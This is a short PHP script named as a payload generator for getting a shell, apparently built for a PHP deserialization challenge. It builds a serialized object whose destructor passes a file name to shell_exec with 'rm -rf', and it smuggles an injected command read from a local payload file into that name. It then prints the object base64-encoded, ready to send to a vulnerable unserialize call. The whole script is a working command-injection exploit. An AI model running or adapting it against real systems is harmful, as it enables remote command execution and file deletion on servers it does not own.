payloadgen_getshell.php

<?php
class Dosya {
	 public $files = "";
	 function __destruct() {
			 $dosya = explode(".",strtolower($this->files));
			 if(end($dosya) === "txt"){
					$ac = file($this->files);
				 if($ac[0] === trim("istekler")){
				}else {
					 
					 shell_exec("rm -rf ".$this->files);
				 }
			 }else {
				 
			 }

		
	 }
	function set_files($name) {
		$this->files = $name;
	}
	function result(){
		return file($this->files);
	}
	
}

$payload = file_get_contents("./payload");
$a = new Dosya();
$a->set_files("silmebeni; $payload; touch gereksiz.txt");
echo base64_encode(serialize($a));